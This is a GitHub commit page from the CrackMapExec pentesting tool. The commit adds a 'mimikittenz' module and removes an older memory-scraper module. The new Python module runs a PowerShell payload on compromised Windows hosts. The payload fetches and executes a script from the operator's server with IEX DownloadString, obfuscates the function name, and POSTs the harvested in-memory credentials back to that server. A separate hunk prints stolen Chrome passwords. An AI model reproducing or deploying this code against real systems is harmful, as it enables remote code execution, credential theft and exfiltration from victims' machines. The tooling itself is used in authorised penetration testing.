Skip to content
This repository was archived by the owner on Dec 6, 2023. It is now read-only.

Commit 9af1ab5

Browse files
author
byt3bl33d3r
committed
Added the mimikittenz module
- Removed the mem_scraper module since the new mimikittenz module should replace its functionalitu - Fixed newline in enum_chrome output - Version Bump
1 parent cb3c39b commit 9af1ab5

File tree

7 files changed

+83
-92
lines changed

7 files changed

+83
-92
lines changed

.gitmodules

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,6 @@
11
[submodule "cme/data/PowerSploit"]
22
path = cme/data/PowerSploit
33
url = https://github.com/PowerShellMafia/PowerSploit
4+
[submodule "cme/data/mimikittenz"]
5+
path = cme/data/mimikittenz
6+
url = https://github.com/putterpanda/mimikittenz

cme/data/mem_scraper.ps1

-20.1 KB
Binary file not shown.

cme/data/mimikittenz

Submodule mimikittenz added at f78678a

cme/modules/enum_chrome.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -117,7 +117,7 @@ def on_response(self, context, response):
117117
context.log.highlight('URL: ' + cred['url'])
118118
context.log.highlight('Username: ' + cred['user'])
119119
context.log.highlight('Password: ' + cred['passw'])
120-
context.log.highlight('\n')
120+
context.log.highlight('')
121121

122122
log_name = 'EnumChrome-{}-{}.log'.format(response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
123123
write_log(data, log_name)

cme/modules/mem_scraper.py

Lines changed: 0 additions & 90 deletions
This file was deleted.

cme/modules/mimikittenz.py

Lines changed: 77 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,77 @@
1+
from cme.helpers import create_ps_command, obfs_ps_script, get_ps_script, write_log, gen_random_string
2+
from StringIO import StringIO
3+
from datetime import datetime
4+
from sys import exit
5+
6+
class CMEModule:
7+
'''
8+
Executes the Mimikittenz script
9+
Module by @byt3bl33d3r
10+
'''
11+
12+
name = 'mimikittenz'
13+
14+
description = "Executes Mimikittenz"
15+
16+
def options(self, context, module_options):
17+
'''
18+
'''
19+
20+
self.obfs_name = gen_random_string()
21+
22+
def on_admin_login(self, context, connection):
23+
24+
payload = '''
25+
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-mimikittenz.ps1');
26+
$data = Invoke-{command};
27+
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/');
28+
$request.Method = 'POST';
29+
$request.ContentType = 'application/x-www-form-urlencoded';
30+
$bytes = [System.Text.Encoding]::ASCII.GetBytes($data);
31+
$request.ContentLength = $bytes.Length;
32+
$requestStream = $request.GetRequestStream();
33+
$requestStream.Write( $bytes, 0, $bytes.Length );
34+
$requestStream.Close();
35+
$request.GetResponse();'''.format(server=context.server,
36+
port=context.server_port,
37+
addr=context.localip,
38+
command=self.obfs_name)
39+
40+
context.log.debug('Payload: {}'.format(payload))
41+
payload = create_ps_command(payload)
42+
connection.execute(payload)
43+
context.log.success('Executed payload')
44+
45+
def on_request(self, context, request):
46+
if 'Invoke-mimikittenz.ps1' == request.path[1:]:
47+
request.send_response(200)
48+
request.end_headers()
49+
50+
with open(get_ps_script('mimikittenz/Invoke-mimikittenz.ps1'), 'r') as ps_script:
51+
ps_script = obfs_ps_script(ps_script.read(), function_name=self.obfs_name)
52+
request.wfile.write(ps_script)
53+
54+
else:
55+
request.send_response(404)
56+
request.end_headers()
57+
58+
def on_response(self, context, response):
59+
response.send_response(200)
60+
response.end_headers()
61+
length = int(response.headers.getheader('content-length'))
62+
data = response.rfile.read(length)
63+
64+
#We've received the response, stop tracking this host
65+
response.stop_tracking_host()
66+
67+
if len(data):
68+
def print_post_data(data):
69+
buf = StringIO(data.strip()).readlines()
70+
for line in buf:
71+
context.log.highlight(line.strip())
72+
73+
print_post_data(data)
74+
75+
log_name = 'MimiKittenz-{}-{}.log'.format(response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
76+
write_log(data, log_name)
77+
context.log.info("Saved output to {}".format(log_name))

setup.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
from setuptools import setup, find_packages
22

33
setup(name='crackmapexec',
4-
version='3.1.2',
4+
version='3.1.3',
55
description='A swiss army knife for pentesting Windows/Active Directory environments',
66
classifiers=[
77
'License :: OSI Approved :: BSD License',

0 commit comments

Comments
 (0)